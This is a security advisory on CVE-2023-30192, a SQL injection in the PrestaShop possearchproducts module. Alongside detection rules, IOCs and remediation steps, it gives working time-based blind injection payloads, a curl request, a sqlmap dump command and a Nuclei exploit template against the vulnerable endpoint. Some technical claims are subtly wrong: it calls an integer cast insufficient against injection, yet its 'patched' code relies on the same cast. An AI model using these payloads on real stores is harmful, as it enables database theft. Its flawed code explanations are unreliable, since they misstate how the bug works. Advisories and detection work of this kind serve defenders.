CVE-2023-30192

Executive Summary

CVE-2023-30192 is a critical SQL Injection vulnerability discovered in the PrestaShop module possearchproducts (Search Products) by PosThemes, affecting version 1.7 and possibly earlier. The flaw resides in the PosSearch::find() function, allowing an unauthenticated attacker to inject arbitrary SQL commands via the id_category parameter. With a CVSS score of 9.8, successful exploitation can lead to full database compromise, including data exfiltration, credential theft, and potential remote code execution if the database user has elevated privileges. The vulnerability is publicly documented with a Nuclei template and proof-of-concept, making it a high-priority threat for all PrestaShop instances using this module.

Supply Chain & Package Security

This vulnerability affects a third-party module (possearchproducts) distributed by PosThemes for the PrestaShop ecosystem. As the module is not part of the core PrestaShop distribution, the risk is limited to merchants who have installed this specific module. No official patch has been released by the vendor, and the module may be abandoned. Organizations should treat this as a supply chain risk and consider removing or replacing the module.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the EPSS score of 0.4188 (97.44th percentile) indicates active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability exists in the PosSearch::find() method within the possearchproducts module. The id_category parameter is passed directly into a SQL query without proper sanitization or parameterization. The vulnerable code path is triggered via a POST request to /modules/possearchproducts/SearchProducts.php.

Vulnerable Code Snippet (Conceptual):

// In PosSearch.php
public function find($id_category, $id_lang, $resultsPerPage, $s) {
    $sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_category = $id_category AND ...";
    return Db::getInstance()->executeS($sql);
}

The attacker can inject SQL by manipulating the id_category parameter. The Nuclei template uses a time-based blind SQL injection payload:

id_category=10*if(now()=sysdate(),sleep(6),0)

This payload checks if now() equals sysdate() (always true), causing a 6-second delay if the injection is successful. This confirms the vulnerability and allows for data extraction using boolean-based or time-based techniques.

Vulnerable vs. Patched Code

Vulnerable Code (possearchproducts <= 1.7):

// Direct concatenation of user input
$id_category = (int)$_POST['id_category']; // Insufficient casting, still vulnerable to injection via string manipulation
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_category = $id_category";

Patched Code (Hypothetical):

// Use prepared statements
$id_category = (int)$_POST['id_category'];
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_category = ?";
$result = Db::getInstance()->executeS($sql, array($id_category));

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data. The vulnerable version relies on simple casting, which is insufficient for string-based injections.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A PrestaShop instance with possearchproducts module installed (version <= 1.7)
• Network access to the target

Exploitation Steps:

1. Verify Vulnerability: Send a time-based payload to confirm SQL injection:

   curl -X POST "http://target.com/modules/possearchproducts/SearchProducts.php" \
   -d "id_category=10*if(now()=sysdate(),sleep(6),0)&id_lang=3&resultsPerPage=10&s=the"
   

   If the response takes >6 seconds, the vulnerability is confirmed.

2. Extract Database Information: Use a time-based blind SQL injection technique to extract data. Example payload to extract MySQL version:

   id_category=10*if(substring(@@version,1,1)=5,sleep(5),0)
   

3. Automated Exploitation with Nuclei: Use the provided Nuclei template:

   nuclei -t CVE-2023-30192.yaml -u http://target.com
   

4. Full Database Dump (Conceptual): Use sqlmap for automated exploitation:

   sqlmap -u "http://target.com/modules/possearchproducts/SearchProducts.php" \
   --data="id_category=10&id_lang=3&resultsPerPage=10&s=the" \
   --batch --dbs
   

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Logs: Look for POST requests to /modules/possearchproducts/SearchProducts.php with suspicious id_category parameters containing SQL keywords (e.g., sleep, if, union, select).
2. Network Traffic Analysis: Detect time-based anomalies (response delays >5 seconds) from the same endpoint.
3. Database Monitoring: Monitor for unusual queries targeting the ps_product table with unexpected WHERE clauses.

Immediate Actions:

• Disable or remove the possearchproducts module.
• If removal is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Review database logs for signs of data exfiltration.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /modules/possearchproducts/SearchProducts.php
• Payloads containing sleep(), if(), union, select, benchmark() in the id_category parameter
• Response times exceeding 6 seconds for the vulnerable endpoint

File IOCs:

• Modified modules/possearchproducts/SearchProducts.php or PosSearch.php files
• Unexpected files in the PrestaShop upload/ directory (potential webshells)

Database IOCs:

• Unusual queries in MySQL slow query log with id_category parameter
• New database users or elevated privileges
• Unexpected data exports or large result sets

Detection Engineering

YARA Rule

rule CVE_2023_30192_PrestaShop_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting PrestaShop possearchproducts module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-30192"
        severity = "critical"

    strings:
        $sqli_payload1 = /id_category=.*sleep\(/ nocase
        $sqli_payload2 = /id_category=.*if\(/ nocase
        $sqli_payload3 = /id_category=.*union.*select/ nocase
        $sqli_payload4 = /id_category=.*benchmark\(/ nocase
        $endpoint = "/modules/possearchproducts/SearchProducts.php"

    condition:
        any of ($sqli_payload*) and $endpoint
}

Sigma Rule

title: CVE-2023-30192 PrestaShop SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against PrestaShop possearchproducts module
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30192
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/modules/possearchproducts/SearchProducts.php'
    keywords:
        - 'id_category='
        - 'sleep('
        - 'if('
        - 'union'
        - 'select'
        - 'benchmark('
    condition: selection and keywords
falsepositives:
    - Legitimate use of sleep() in custom modules (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-30192 PrestaShop possearchproducts SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/modules/possearchproducts/SearchProducts.php";
    http_uri;
    content:"id_category=";
    http_client_body;
    pcre:"/(sleep\(|if\(|union|select|benchmark\()/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-30192;
)

Nuclei Template (Provided)

id: CVE-2023-30192

info:
  name: PrestaShop 'possearchproducts' <= 1.7 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the module "Search Products" (possearchproducts) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30192
    - https://security.friendsofpresta.org/modules/2023/05/11/possearchproducts.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30192
    cwe-id: CWE-89
    epss-score: 0.4188
    epss-percentile: 0.97443
  metadata:
    verified: true
    max-request: 2
    product: possearchproducts
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: cve,cve2023,prestashop,sqli,time-based-sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(response), "prestashop", "possearchproducts")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/possearchproducts/SearchProducts.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id_category=10*if(now()=sysdate()%2Csleep(6)%2C0)&id_lang=3&resultsPerPage=10&s=the

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(tolower(response), "products")'
          - 'status_code != 404'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Disable the Module: Remove or disable the possearchproducts module from the PrestaShop back office.
2. Apply Virtual Patching: Use a WAF to block requests containing SQL injection patterns to the vulnerable endpoint.
3. Audit Database: Check for signs of compromise, including unauthorized data access or modified records.

Long-Term Fixes:

1. Replace the Module: Use an alternative search module that is actively maintained and uses parameterized queries.
2. Code Review: If the module must be kept, rewrite the PosSearch::find() method to use prepared statements.
3. Update PrestaShop: Ensure the core PrestaShop installation is up to date to benefit from security improvements.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging for all web requests and database queries.
• Monitor for time-based anomalies in web application responses.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 569FF327CD586E7294B20B6F] */}